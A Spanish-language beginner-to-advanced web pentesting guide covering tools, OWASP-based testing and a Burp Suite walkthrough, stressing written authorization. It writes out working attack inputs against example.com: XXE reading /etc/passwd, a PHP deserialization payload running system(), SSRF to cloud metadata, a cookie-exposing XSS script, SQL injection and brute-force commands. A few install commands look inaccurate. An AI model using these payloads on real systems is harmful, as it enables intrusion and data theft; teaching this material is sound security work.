Guía Básica de Pentesting Web De 0 a 100

Una guía completa para iniciarse en el pentesting de aplicaciones web, desde conceptos básicos hasta técnicas avanzadas.

Seguridad WebIntermedio
Guía Básica de Pentesting Web De 0 a 100

Guía Avanzada de Pentesting Web: De 0 a 100

¿Qué es el Pentesting Web?

El pentesting web (o pruebas de penetración web) consiste en evaluar la seguridad de aplicaciones y sitios web mediante técnicas que simulan ataques reales. El objetivo es identificar vulnerabilidades antes que los atacantes maliciosos puedan explotarlas, permitiendo a las organizaciones remediar estos problemas antes de que causen daños.

En 2025, el pentesting web ha evolucionado significativamente para abordar nuevas arquitecturas como microservicios, aplicaciones serverless, y sistemas basados en IA/ML, además de las aplicaciones web tradicionales.

Definición formal

El pentesting web es un método de evaluación de seguridad autorizado y sistemático que simula ataques reales para identificar vulnerabilidades, evaluar el impacto potencial y proporcionar recomendaciones para mejorar la postura de seguridad de aplicaciones web.

Preparación del Entorno

Antes de comenzar con las pruebas de penetración, necesitarás configurar un entorno adecuado que te permita realizar pruebas de manera efectiva y segura.

Sistema Operativo

Kali Linux sigue siendo la distribución más popular para pentesting en 2025, con más de 600 herramientas preinstaladas. Alternativas viables incluyen:

  • ParrotOS Security: Enfocado en privacidad y seguridad, con un menor consumo de recursos
  • BlackArch Linux: Con más de 2,400 herramientas de seguridad
  • Ubuntu + herramientas específicas: Para quienes prefieren un entorno más familiar
  • Pentoo: Distribución basada en Gentoo optimizada para pentesting

Configuración recomendada para 2025:

# Actualizar Kali Linux a la última versión
sudo apt update && sudo apt full-upgrade -y

# Instalar herramientas adicionales recomendadas
sudo apt install -y \
  docker.io \
  golang \
  python3-pip \
  python3-venv \
  nodejs \
  npm \
  ruby-full \
  git \
  tmux

# Configurar entorno virtual para herramientas Python
python3 -m venv ~/pentest-env
source ~/pentest-env/bin/activate
pip install --upgrade pip

# Instalar herramientas modernas vía pip
pip install \
  httpx \
  nuclei \
  arjun \
  trufflehog \
  wfuzz \
  jwt-tool \
  apicheck

# Instalar herramientas Go modernas
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
go install -v github.com/tomnomnom/anew@latest
go install -v github.com/ffuf/ffuf@latest
go install -v github.com/lc/gau@latest
go install -v github.com/hakluke/hakrawler@latest

# Añadir Go binarios al PATH
echo 'export PATH=$PATH:~/go/bin' >> ~/.zshrc
source ~/.zshrc

Entorno Virtualizado

Para 2025, se recomienda utilizar entornos virtualizados y contenedores para aislar tus actividades de pentesting:

# Crear un contenedor Docker para pentesting
cat > Dockerfile << 'EOF'
FROM kalilinux/kali-rolling

# Instalar herramientas esenciales
RUN apt-get update && apt-get install -y \
    nmap \
    sqlmap \
    metasploit-framework \
    burpsuite \
    zaproxy \
    dirb \
    nikto \
    hydra \
    john \
    hashcat \
    whois \
    dnsutils \
    git \
    python3-pip \
    curl \
    wget \
    vim \
    tmux

# Configurar entorno
WORKDIR /pentest
CMD ["/bin/bash"]
EOF

# Construir la imagen
docker build -t pentest-toolkit .

# Ejecutar el contenedor
docker run -it --rm \
  --name pentest \
  -v $(pwd)/reports:/pentest/reports \
  -v $(pwd)/tools:/pentest/tools \
  --network host \
  pentest-toolkit

Herramientas Esenciales para 2025

1. Proxies de Intercepción

  • Burp Suite (Community/Professional): Sigue siendo la herramienta principal para pentesting web, con nuevas capacidades para APIs, GraphQL y aplicaciones modernas
  • OWASP ZAP: Alternativa gratuita y de código abierto con soporte mejorado para aplicaciones SPA y APIs
  • Caido: Nuevo competidor con interfaz moderna y enfoque en usabilidad
  • Mitmproxy: Proxy de intercepción basado en consola, ideal para automatización

2. Navegadores y Extensiones

  • Firefox Developer Edition con extensiones:
    • FoxyProxy
    • Wappalyzer
    • Cookie-Editor
    • JWT Debugger
    • HackTools
    • HTTP Header Live
  • Chrome/Chromium con extensiones:
    • SwitchyOmega
    • JSON Formatter
    • Web Developer
    • Hack-Tools
    • CSRF Interceptor

3. Escáners de Vulnerabilidades

  • Nuclei: Escáner basado en plantillas, rápido y personalizable
  • Nikto: Escáner de servidores web clásico pero actualizado
  • WPScan: Especializado en WordPress
  • Acunetix: Escáner comercial con capacidades avanzadas
  • Nessus: Escáner de vulnerabilidades completo

4. Herramientas para Fuzzing y Descubrimiento

  • ffuf: Fuzzer web rápido escrito en Go
  • gobuster: Herramienta para enumerar directorios/archivos y subdominios
  • wfuzz: Fuzzer web con capacidades avanzadas
  • Arjun: Descubrimiento de parámetros HTTP
  • Feroxbuster: Herramienta de fuzzing recursiva escrita en Rust

5. Herramientas para Pentesting de APIs

  • Postman: Cliente API con capacidades de pruebas de seguridad
  • Insomnia: Cliente API con enfoque en diseño y pruebas
  • APIKit: Suite de herramientas para pentesting de APIs
  • TnT-Fuzzer: Fuzzer específico para APIs
  • Kiterunner: Descubrimiento de endpoints de API

6. Herramientas para Análisis de Código

  • Semgrep: Análisis estático de código con reglas personalizables
  • CodeQL: Motor de análisis semántico
  • SonarQube: Plataforma de análisis de código continuo
  • Bandit: Herramienta para encontrar problemas de seguridad en código Python
  • Snyk: Análisis de vulnerabilidades en dependencias

Metodología de Pentesting Web Moderna (2025)

Una prueba de penetración web efectiva sigue una metodología estructurada que ha evolucionado para adaptarse a las arquitecturas modernas:

1. Planificación y Alcance

  • Definición de objetivos: Establecer metas claras y expectativas
  • Determinación del alcance: Identificar sistemas, aplicaciones y funcionalidades a evaluar
  • Tipo de prueba: Decidir entre black-box, gray-box o white-box
  • Autorización formal: Obtener permiso escrito y definir ventanas de tiempo
  • Establecer canales de comunicación: Para reportar vulnerabilidades críticas
# Ejemplo de documento de alcance

## Objetivos de la prueba
- Identificar vulnerabilidades en la aplicación web example.com
- Evaluar la efectividad de los controles de seguridad implementados
- Proporcionar recomendaciones para mejorar la postura de seguridad

## Alcance
- Dominio principal: example.com
- Subdominios: api.example.com, admin.example.com
- APIs: /api/v1/*, /api/v2/*
- Funcionalidades: Autenticación, gestión de usuarios, procesamiento de pagos

## Exclusiones
- Ataques de denegación de servicio (DoS)
- Ingeniería social
- Ataques físicos
- Sistemas de terceros no gestionados por Example Corp.

## Tipo de prueba
- Gray-box con acceso a documentación y cuentas de prueba

## Ventana de tiempo
- Inicio: 15/05/2025 08:00 UTC
- Finalización: 22/05/2025 18:00 UTC

## Contactos
- Pentester principal: security@pentester.com
- Contacto técnico: it@example.com
- Contacto de emergencia: security@example.com

2. Reconocimiento (Reconnaissance)

Passive Recon: Obtener información sin interactuar directamente con el objetivo

  • OSINT (Open Source Intelligence):

    • Búsqueda en motores como Google, Bing, Shodan, Censys
    • Análisis de metadatos en documentos públicos
    • Información de registros WHOIS, DNS, certificados SSL
    • Repositorios de código (GitHub, GitLab)
    • Redes sociales y perfiles profesionales
  • Análisis de tecnologías:

    • Identificación de frameworks, CMS, bibliotecas
    • Versiones de software y posibles vulnerabilidades conocidas
    • Arquitectura de la aplicación
# Ejemplo de comandos para reconocimiento pasivo

# Búsqueda de información en WHOIS
whois example.com

# Consulta de registros DNS
dig any example.com

# Búsqueda de certificados SSL
curl -s "https://crt.sh/?q=example.com&output=json" | jq .

# Búsqueda en Wayback Machine
curl -s "http://web.archive.org/cdx/search/cdx?url=*.example.com&output=text&fl=original&collapse=urlkey" | sort | uniq

# Búsqueda de tecnologías con Wappalyzer CLI
npx wappalyzer https://example.com

# Búsqueda de correos electrónicos asociados al dominio
theHarvester -d example.com -b all

Active Recon: Interacción directa con el objetivo

  • Escaneo de infraestructura:

    • Escaneo de puertos y servicios
    • Fingerprinting de servidores web y aplicaciones
    • Enumeración de subdominios
    • Detección de WAF (Web Application Firewall)
  • Análisis de la aplicación web:

    • Crawling automático
    • Identificación de endpoints y parámetros
    • Análisis de respuestas HTTP
    • Detección de tecnologías del lado del servidor
# Ejemplos de comandos para reconocimiento activo

# Escaneo de puertos con Nmap
nmap -sV -p- --min-rate 1000 example.com

# Enumeración de subdominios
subfinder -d example.com -o subdomains.txt
amass enum -d example.com -o amass_results.txt
assetfinder --subs-only example.com | anew subdomains.txt

# Verificación de subdominios activos
cat subdomains.txt | httpx -silent -o live_subdomains.txt

# Fingerprinting de tecnologías
whatweb -a 3 example.com

# Detección de WAF
wafw00f example.com

# Crawling de la aplicación
gospider -s "https://example.com/" -c 10 -d 5 -o gospider_output

# Descubrimiento de directorios y archivos
ffuf -w wordlist.txt -u https://example.com/FUZZ -mc 200,204,301,302,307,401,403,405

3. Modelado de Amenazas y Análisis de Superficie de Ataque

Esta fase, que ha ganado importancia en 2025, implica:

  • Identificación de activos críticos: Datos sensibles, funcionalidades clave
  • Modelado de amenazas: Utilizando metodologías como STRIDE o PASTA
  • Mapeo de vectores de ataque: Identificar posibles rutas de ataque
  • Priorización: Enfocarse en áreas de mayor riesgo
# Ejemplo simplificado de modelado de amenazas STRIDE

## Activo: Sistema de autenticación

### Spoofing (Suplantación)
- Riesgo: Suplantación de identidad de usuarios
- Vectores: Phishing, robo de credenciales, session hijacking
- Controles: MFA, políticas de contraseñas robustas, expiración de sesiones

### Tampering (Manipulación)
- Riesgo: Alteración de datos de usuario o permisos
- Vectores: Manipulación de tokens JWT, IDOR
- Controles: Firmas digitales, validación de integridad

### Repudiation (Repudio)
- Riesgo: Usuario niega haber realizado acciones
- Vectores: Eliminación de logs, manipulación de registros
- Controles: Logging seguro, sellos de tiempo, auditoría

### Information Disclosure (Divulgación de información)
- Riesgo: Exposición de datos sensibles
- Vectores: Respuestas verbosas, errores con stack traces
- Controles: Manejo adecuado de errores, cifrado de datos sensibles

### Denial of Service (Denegación de servicio)
- Riesgo: Sistema de autenticación no disponible
- Vectores: Sobrecarga de solicitudes, bloqueo de cuentas
- Controles: Rate limiting, CAPTCHA, monitoreo

### Elevation of Privilege (Elevación de privilegios)
- Riesgo: Acceso a funcionalidades no autorizadas
- Vectores: Manipulación de roles, bypass de autorización
- Controles: Verificación de permisos en cada acción, principio de menor privilegio

4. Análisis de Vulnerabilidades

En esta fase se buscan vulnerabilidades específicas, con especial atención al OWASP Top 10 y al OWASP API Security Top 10:

a) Broken Access Control

  • Técnicas de prueba:
    • Manipulación de IDs en URLs y parámetros (IDOR)
    • Bypass de restricciones de acceso
    • Escalada horizontal y vertical de privilegios
    • Manipulación de tokens JWT
# Ejemplo: Prueba de IDOR
# 1. Interceptar solicitud con Burp Suite
# 2. Identificar parámetros de ID (ejemplo: /api/user/123/profile)
# 3. Modificar ID y observar respuesta

# Ejemplo: Manipulación de JWT
jwt_tool eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJ1c2VyIn0.xxxxx -T
jwt_tool eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJ1c2VyIn0.xxxxx -I -pc role -pv admin

b) Cryptographic Failures

  • Técnicas de prueba:
    • Verificación de implementación de HTTPS
    • Análisis de configuración TLS/SSL
    • Búsqueda de credenciales en código fuente
    • Verificación de algoritmos de cifrado
    • Análisis de gestión de secretos
# Verificar configuración SSL/TLS
sslyze --regular example.com

# Verificar cabeceras de seguridad
curl -I https://example.com | grep -E 'Strict-Transport-Security|Content-Security-Policy|X-Content-Type-Options'

# Buscar secretos en código fuente
trufflehog https://github.com/example/repo

c) Injection

  • Técnicas de prueba:
    • SQL Injection: Pruebas con caracteres especiales (', ", --, etc.)
    • NoSQL Injection: Manipulación de operadores ($gt, $ne, etc.)
    • Command Injection: Uso de caracteres de concatenación (;, |, &&, etc.)
    • XSS: Inserción de scripts en campos de entrada
    • XXE: Manipulación de entidades XML
# Ejemplo: Prueba básica de SQL Injection
# Añadir comilla simple a parámetros
curl "https://example.com/search?q=test'"

# Ejemplo: Prueba de XSS
curl "https://example.com/search?q=<script>alert(1)</script>"

# Uso de sqlmap para automatizar pruebas de SQLi
sqlmap -u "https://example.com/search?q=test" --batch --dbs

# Ejemplo: Prueba de XXE
# Crear payload XXE
cat > xxe.xml << 'EOF'
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
EOF

# Enviar payload
curl -X POST https://example.com/api/process-xml -d @xxe.xml --header "Content-Type: application/xml"

d) Insecure Design

  • Técnicas de prueba:
    • Análisis de flujos de negocio
    • Pruebas de límites y restricciones
    • Identificación de race conditions
    • Evaluación de mecanismos de recuperación
    • Análisis de arquitectura y diseño
# Ejemplo: Prueba de límites en funcionalidades críticas
# Crear script para enviar múltiples solicitudes simultáneas
cat > test_race_condition.py << 'EOF'
import requests
import threading

def make_request():
    requests.post('https://example.com/api/transfer', 
                 json={'from_account': '12345', 'to_account': '67890', 'amount': 10},
                 headers={'Authorization': 'Bearer TOKEN'})

threads = []
for i in range(20):
    t = threading.Thread(target=make_request)
    threads.append(t)

# Iniciar todos los hilos simultáneamente
for t in threads:
    t.start()

for t in threads:
    t.join()
EOF

python3 test_race_condition.py

e) Security Misconfiguration

  • Técnicas de prueba:
    • Búsqueda de servicios innecesarios
    • Verificación de configuraciones por defecto
    • Análisis de cabeceras HTTP de seguridad
    • Búsqueda de información sensible en respuestas
    • Verificación de permisos de archivos y directorios
# Verificar cabeceras de seguridad faltantes
curl -I https://example.com | grep -v "Content-Security-Policy\|X-Frame-Options\|X-XSS-Protection"

# Buscar directorios sensibles
ffuf -w common-directories.txt -u https://example.com/FUZZ -mc 200,403

# Verificar métodos HTTP permitidos
curl -X OPTIONS https://example.com -i

# Buscar archivos de configuración expuestos
curl https://example.com/.env
curl https://example.com/config.json
curl https://example.com/wp-config.php.bak

f) Vulnerable and Outdated Components

  • Técnicas de prueba:
    • Identificación de versiones de componentes
    • Búsqueda de vulnerabilidades conocidas
    • Análisis de dependencias
    • Verificación de parches y actualizaciones
# Identificar tecnologías y versiones
whatweb -a 4 https://example.com

# Verificar vulnerabilidades conocidas
nuclei -u https://example.com -t cves/

# Analizar dependencias JavaScript
retire --js https://example.com/assets/js/main.js

# Verificar vulnerabilidades en dependencias (requiere acceso al código)
cd /path/to/project
npm audit # Para proyectos Node.js
pip-audit # Para proyectos Python

g) Identification and Authentication Failures

  • Técnicas de prueba:
    • Pruebas de fuerza bruta
    • Bypass de autenticación
    • Verificación de políticas de contraseñas
    • Análisis de gestión de sesiones
    • Pruebas de funcionalidades de recuperación de cuentas
# Prueba de fuerza bruta (con precaución y autorización)
hydra -l admin -P wordlist.txt example.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

# Verificar bloqueo de cuentas
# Script para intentar múltiples logins fallidos
for i in {1..10}; do
  curl -X POST https://example.com/login \
    -d "username=test@example.com&password=wrongpass$i" \
    -H "Content-Type: application/x-www-form-urlencoded"
  echo "Intento $i completado"
  sleep 1
done

# Verificar gestión de sesiones
# 1. Iniciar sesión y obtener cookie
# 2. Cerrar sesión y verificar si la cookie sigue siendo válida

h) Software and Data Integrity Failures

  • Técnicas de prueba:
    • Análisis de integridad de actualizaciones
    • Verificación de firmas digitales
    • Pruebas de desserialización
    • Análisis de pipelines CI/CD
    • Verificación de integridad de datos
# Ejemplo: Prueba de desserialización insegura en PHP
# Crear payload serializado malicioso
cat > serialize_payload.php << 'EOF'
<?php
class TestObject {
    public $cmd = 'id';
    public function __destruct() {
        system($this->cmd);
    }
}
$obj = new TestObject();
echo serialize($obj);
?>
EOF

php serialize_payload.php > payload.txt

# Enviar payload a endpoint vulnerable
curl -X POST https://example.com/api/process-data \
  -d @payload.txt \
  -H "Content-Type: application/x-www-form-urlencoded"

i) Security Logging and Monitoring Failures

  • Técnicas de prueba:
    • Verificación de logging de eventos críticos
    • Análisis de respuesta a incidentes
    • Pruebas de detección de actividades maliciosas
    • Verificación de alertas y monitoreo
# Realizar acciones que deberían ser registradas
# 1. Intentos de login fallidos
# 2. Acciones administrativas
# 3. Modificación de datos sensibles
# 4. Acceso a recursos protegidos

# Verificar si se generan logs adecuados (requiere acceso a logs)
# Ejemplo: Verificar logs de acceso en servidor web
ssh user@example.com "tail -f /var/log/nginx/access.log"

j) Server-Side Request Forgery (SSRF)

  • Técnicas de prueba:
    • Identificación de parámetros que aceptan URLs
    • Pruebas con URLs internas y servicios locales
    • Bypass de filtros y restricciones
    • Explotación de servicios internos
# Identificar parámetros vulnerables
# Ejemplos: url, path, file, document, etc.

# Prueba básica de SSRF
curl "https://example.com/api/fetch?url=http://localhost"
curl "https://example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/" # AWS metadata

# Bypass de filtros
curl "https://example.com/api/fetch?url=http://127.0.0.1"
curl "https://example.com/api/fetch?url=http://2130706433" # Decimal IP
curl "https://example.com/api/fetch?url=http://0x7f000001" # Hexadecimal IP

k) API Security (OWASP API Security Top 10)

  • Técnicas de prueba específicas para APIs:
    • Análisis de documentación (Swagger/OpenAPI)
    • Pruebas de autorización a nivel de objeto y propiedad
    • Verificación de límites de tasa y recursos
    • Análisis de gestión de inventario de APIs
    • Pruebas de consumo seguro de APIs
# Descubrir endpoints de API
ffuf -w wordlist.txt -u https://api.example.com/v1/FUZZ -mc all

# Analizar documentación de API si está disponible
curl https://api.example.com/swagger.json
curl https://api.example.com/openapi.yaml

# Prueba de autorización a nivel de objeto
# 1. Autenticarse como usuario A
# 2. Obtener ID de recurso de usuario B
# 3. Intentar acceder al recurso de B con credenciales de A
curl -H "Authorization: Bearer TOKEN_USER_A" https://api.example.com/v1/users/USER_B_ID

# Prueba de límites de recursos
# Script para enviar múltiples solicitudes rápidamente
for i in {1..100}; do
  curl -s -o /dev/null -w "%{http_code}\n" https://api.example.com/v1/resource
  sleep 0.1
done

5. Explotación

En esta fase se desarrollan pruebas de concepto (PoC) para las vulnerabilidades encontradas, determinando su impacto real:

  • Desarrollo de exploits: Crear código o secuencias de pasos para explotar vulnerabilidades
  • Pruebas controladas: Ejecutar exploits en entornos autorizados
  • Documentación detallada: Registrar pasos, herramientas y resultados
  • Evaluación de impacto: Determinar el daño potencial de cada vulnerabilidad
# Ejemplo: PoC para una vulnerabilidad XSS almacenada

import requests
from bs4 import BeautifulSoup

# Configuración
target_url = "https://example.com"
login_url = f"{target_url}/login"
profile_url = f"{target_url}/profile"
payload = "<img src=x onerror=alert(document.cookie)>"

# Credenciales (usar cuentas de prueba autorizadas)
username = "testuser"
password = "testpassword"

# Iniciar sesión
session = requests.Session()
login_data = {
    "username": username,
    "password": password
}
response = session.post(login_url, data=login_data)

if "Welcome" not in response.text:
    print("[-] Login failed")
    exit(1)

print("[+] Login successful")

# Inyectar payload XSS en campo de perfil
profile_data = {
    "name": "Test User",
    "bio": payload,
    "email": "test@example.com"
}
response = session.post(profile_url, data=profile_data)

print("[+] Payload injected into profile")

# Verificar si el payload persiste
response = session.get(profile_url)
if payload in response.text:
    print("[+] Stored XSS confirmed - payload found in profile page")
    
    # Extraer cookies para demostrar impacto
    soup = BeautifulSoup(response.text, 'html.parser')
    print(f"[+] Page title: {soup.title.string}")
    print(f"[+] Cookies that would be exposed: {session.cookies.get_dict()}")
else:
    print("[-] Payload not found in response - XSS might have been filtered")

print("[+] PoC completed")

6. Post-Explotación

Esta fase, cuando está dentro del alcance autorizado, implica:

  • Movimiento lateral: Pivotear a otros sistemas o aplicaciones
  • Escalada de privilegios: Obtener mayores niveles de acceso
  • Persistencia: Mantener acceso para pruebas continuas
  • Exfiltración simulada: Demostrar el impacto potencial de una brecha
# Ejemplo: Pivoting a través de una vulnerabilidad SSRF
# 1. Explotar SSRF para escanear la red interna
for i in {1..254}; do
  curl -s "https://example.com/api/fetch?url=http://192.168.1.$i:22" | grep -q "SSH" && echo "SSH server found at 192.168.1.$i"
done

# 2. Usar SSRF para acceder a servicios internos
curl -s "https://example.com/api/fetch?url=http://internal-jenkins:8080/api/json" > jenkins_info.json

# 3. Extraer información sensible
grep -r "password" jenkins_info.json
grep -r "token" jenkins_info.json

7. Análisis y Reporte

La fase final consiste en:

  • Análisis de resultados: Evaluar todas las vulnerabilidades encontradas
  • Clasificación de severidad: Utilizando sistemas como CVSS v4.0
  • Desarrollo de recomendaciones: Proporcionar soluciones específicas
  • Creación de informe: Documentar hallazgos, impacto y recomendaciones

Estructura de un informe profesional de pentesting:

# Informe de Prueba de Penetración Web

## Resumen Ejecutivo
- Visión general del proyecto
- Hallazgos clave
- Resumen de riesgos
- Recomendaciones principales

## Introducción
- Objetivos
- Alcance
- Metodología
- Limitaciones
- Cronología

## Hallazgos y Recomendaciones
### Vulnerabilidad 1: Inyección SQL en formulario de login
- **Severidad**: Crítica (CVSS: 9.8)
- **Ubicación**: https://example.com/login
- **Descripción**: La aplicación es vulnerable a inyección SQL en los parámetros de login...
- **Prueba de concepto**: Se utilizó la siguiente entrada: `' OR 1=1 --`
- **Impacto**: Un atacante podría acceder sin credenciales válidas, extraer datos sensibles...
- **Recomendación**: Implementar consultas parametrizadas, validar entradas...
- **Referencias**: CWE-89, OWASP A03:2021

[Continuar con todas las vulnerabilidades encontradas]

## Conclusiones
- Evaluación general de seguridad
- Próximos pasos recomendados
- Consideraciones a largo plazo

## Apéndices
- Herramientas utilizadas
- Metodología detallada
- Capturas de pantalla y evidencias
- Logs y datos técnicos

Herramientas Avanzadas en Acción: Tutorial de Burp Suite

Burp Suite sigue siendo la herramienta más utilizada en pentesting web. Vamos a cubrir sus características principales y cómo utilizarla efectivamente en 2025:

Configuración Inicial

  1. Instalación del certificado CA:

    # Exportar certificado desde Burp (Proxy > Options > Import / Export CA Certificate)
    # En Firefox: Preferences > Privacy & Security > Certificates > View Certificates > Import
    # En Chrome: Settings > Privacy and security > Security > Manage certificates > Import
    
  2. Configuración del proxy en navegador:

    Host: 127.0.0.1
    Puerto: 8080
    
  3. Configuración del scope:

    Target > Scope > Add
    ^https?://example\.com/.*$
    

Módulos Principales y Uso Avanzado

Proxy

  • Interceptación inteligente: Filtrar solicitudes por tipo, extensión o patrón
     Proxy > Options > Intercept Client Requests
     And URL matches: .*\.js$
    
  • Match and Replace: Modificar automáticamente solicitudes/respuestas
     Proxy > Options > Match and Replace
     Type: Request Header
     Match: User-Agent: .*
     Replace: User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)
    

Scanner (Pro)

  • Escaneo activo: Detectar vulnerabilidades automáticamente
     Seleccionar host en Target > Sitemap
     Clic derecho > Scan > Active Scan
     Configurar opciones de escaneo según necesidades
    
  • Escaneo pasivo: Analizar tráfico sin enviar solicitudes adicionales
     Proxy > Options > Passive Scanning
     Activar "Automatically scan passively"
    

Intruder

  • Ataques personalizados: Automatizar pruebas de múltiples payloads
     1. Interceptar solicitud relevante
     2. Enviar a Intruder (Ctrl+I)
     3. Positions: Marcar parámetros a probar
     4. Payloads: Cargar lista de payloads
     5. Options: Configurar opciones de procesamiento
     6. Start attack
    
  • Tipos de ataques:
    • Sniper: Un punto de inserción, múltiples payloads
    • Battering ram: Múltiples puntos, mismo payload en todos
    • Pitchfork: Múltiples puntos, listas sincronizadas
    • Cluster bomb: Múltiples puntos, todas las combinaciones

Repeater

  • Manipulación y reenvío: Modificar y reenviar solicitudes individuales
     1. Interceptar solicitud o seleccionar de History
     2. Enviar a Repeater (Ctrl+R)
     3. Modificar solicitud según necesidad
     4. Send y analizar respuesta
    
  • Comparación de respuestas: Analizar diferencias entre respuestas
     1. Realizar múltiples solicitudes en Repeater
     2. Seleccionar pestañas a comparar
     3. Clic derecho > Compare responses
    

Nuevas características (2025)

  • API Security Testing: Análisis específico para APIs REST, GraphQL y gRPC
     Extensions > BApp Store > API Security Scanner
    
  • Cloud Security Scanner: Detección de configuraciones incorrectas en servicios cloud
     Extensions > BApp Store > Cloud Security Scanner
    
  • AI Assistant: Ayuda en la interpretación de resultados y generación de exploits
     Analyzer > AI Assistant > Analyze Vulnerability
    

Ejercicio Práctico: Detección y Explotación de GraphQL Introspection

Las APIs GraphQL se han vuelto comunes en 2025. Vamos a demostrar cómo analizar y explotar una API GraphQL vulnerable:

  1. Detectar endpoint GraphQL:

    1. Navegar por la aplicación con Proxy activado
    2. Buscar en History solicitudes a endpoints como /graphql, /api/graphql
    3. Identificar Content-Type: application/json con queries GraphQL
    
  2. Realizar introspection query:

    1. Enviar solicitud a Repeater
    2. Modificar el cuerpo con la siguiente query:
    
    {
      __schema {
        types {
          name
          fields {
            name
            type {
              name
              kind
              ofType {
                name
                kind
              }
            }
          }
        }
      }
    }
    
  3. Analizar esquema y buscar campos sensibles:

    1. Buscar tipos como User, Admin, Config, etc.
    2. Identificar campos sensibles como password, token, etc.
    3. Buscar queries que no deberían ser accesibles
    
  4. Explotar permisos incorrectos:

    1. Identificar una query que acceda a datos de usuario, por ejemplo:
    
    {
      user(id: "123") {
        id
        username
        email
      }
    }
    
    2. Modificar el ID para acceder a otros usuarios:
    
    {
      user(id: "1") {
        id
        username
        email
        role
        # Intentar campos adicionales que podrían existir
        password
        resetToken
        apiKey
      }
    }
    
  5. Documentar hallazgos:

    1. Capturar evidencia de la vulnerabilidad
    2. Evaluar impacto (acceso a datos sensibles, escalada de privilegios)
    3. Recomendar soluciones (deshabilitar introspection en producción, implementar autorización adecuada)
    

Laboratorios de Práctica Actualizados (2025)

Para practicar lo aprendido, recomendamos estos entornos:

  1. DVWA (Damn Vulnerable Web Application): Aplicación web deliberadamente vulnerable para practicar técnicas básicas

  2. OWASP Juice Shop: Aplicación moderna con más de 100 vulnerabilidades, ahora con sección de APIs y microservicios

  3. VulnAPI: Entorno específico para practicar seguridad en APIs REST

  4. GraphQL Vulnerable Lab: Para practicar vulnerabilidades específicas de GraphQL

  5. WebGoat: Aplicación de entrenamiento con lecciones guiadas

  6. Vulnhub: Colección de máquinas virtuales vulnerables

  7. HackTheBox: Plataforma con máquinas y laboratorios realistas, ahora con secciones específicas para aplicaciones cloud-native y serverless

  8. TryHackMe: Plataforma con rutas de aprendizaje guiadas y entornos prácticos

  9. PortSwigger Web Security Academy: Laboratorios de alta calidad organizados por tipo de vulnerabilidad

  10. PentesterLab: Ejercicios prácticos con enfoque en vulnerabilidades reales

  11. Kontra Application Security Training: Plataforma interactiva enfocada en desarrolladores

  12. OWASP ServerlessGoat: Para practicar seguridad en aplicaciones serverless

Consideraciones Éticas y Legales

Es crucial entender las implicaciones éticas y legales del pentesting:

Marco Legal

  • Autorización explícita: Siempre obtén permiso por escrito antes de realizar pruebas
  • Cumplimiento regulatorio: Conoce las leyes aplicables en tu jurisdicción:
    • Computer Fraud and Abuse Act (CFAA) en EE.UU.
    • Ley de Protección de Datos en la UE
    • Leyes nacionales específicas sobre ciberseguridad
  • Limitaciones de alcance: Respeta estrictamente los límites acordados
  • Protección de datos: Evita acceder o exfiltrar datos personales o sensibles

Código de Ética

  1. Actuar con integridad: Mantener honestidad y transparencia
  2. No causar daño: Evitar disrupciones en sistemas de producción
  3. Confidencialidad: Proteger la información obtenida durante las pruebas
  4. Divulgación responsable: Seguir procesos acordados para reportar vulnerabilidades
  5. Mejora continua: Mantenerse actualizado con las mejores prácticas

Ejemplo de Acuerdo de Confidencialidad (NDA)

# Acuerdo de Confidencialidad para Pruebas de Penetración

Este acuerdo se establece entre [Nombre del Pentester/Empresa] ("Evaluador") y [Nombre del Cliente] ("Cliente").

## 1. Propósito
El Evaluador realizará pruebas de penetración autorizadas en los sistemas del Cliente con el único propósito de identificar vulnerabilidades de seguridad.

## 2. Confidencialidad
El Evaluador se compromete a:
- Mantener confidencial toda la información obtenida durante las pruebas
- No divulgar vulnerabilidades o hallazgos a terceros sin autorización explícita
- Proteger adecuadamente cualquier dato al que tenga acceso
- Eliminar todos los datos recopilados al finalizar el proyecto

## 3. Limitaciones
El Evaluador:
- No realizará ataques de denegación de servicio
- No explotará vulnerabilidades más allá de lo necesario para demostrar su existencia
- No modificará, eliminará o dañará datos del Cliente
- Notificará inmediatamente cualquier acceso accidental a datos sensibles

## 4. Entregables
El Evaluador proporcionará un informe detallado de todas las vulnerabilidades encontradas, su impacto potencial y recomendaciones para su mitigación.

## 5. Duración
Este acuerdo permanecerá en vigor durante [período] y sobrevivirá a la finalización de las pruebas.

Firmado:
[Evaluador]                                [Cliente]
Fecha:                                     Fecha:

Tendencias Emergentes en Pentesting Web (2025)

1. Pentesting de Aplicaciones Serverless

  • Evaluación de funciones Lambda/Azure Functions/Cloud Functions
  • Análisis de permisos IAM y configuraciones
  • Pruebas de inyección en eventos y triggers

2. Seguridad en Arquitecturas de Microservicios

  • Análisis de comunicación entre servicios
  • Evaluación de API Gateways
  • Pruebas de seguridad en service mesh

3. Pentesting de Aplicaciones con IA/ML

  • Evaluación de modelos de machine learning
  • Pruebas de inyección de prompts
  • Análisis de robustez contra ataques adversarios

4. DevSecOps y Pentesting Continuo

  • Integración de pruebas de seguridad en CI/CD
  • Automatización de pentesting
  • Validación continua de seguridad

5. Pentesting de Aplicaciones Web3 y Blockchain

  • Análisis de contratos inteligentes
  • Evaluación de interfaces web3
  • Pruebas de seguridad en DApps

Recursos Adicionales

Recursos en Español

Libros

  • "Pentesting Web: De Principiante a Experto" por Chema Alonso y José Parada
  • "Hacking Ético con Herramientas Python" por Alberto Rodríguez
  • "Seguridad Ofensiva: Atacando y Defendiendo" por Pablo González

Comunidades y Foros

Canales de YouTube

  • Hack4u: Tutoriales de hacking ético
  • S4vitar: Contenido avanzado de pentesting
  • Securizando: Canal sobre seguridad informática
  • PhiloCyber: Tutoriales y conceptos de ciberseguridad

Cursos y Formación

Recursos en Inglés

Libros Recomendados

  • "The Web Application Hacker's Handbook" - Dafydd Stuttard y Marcus Pinto
  • "Real-World Bug Hunting" - Peter Yaworski
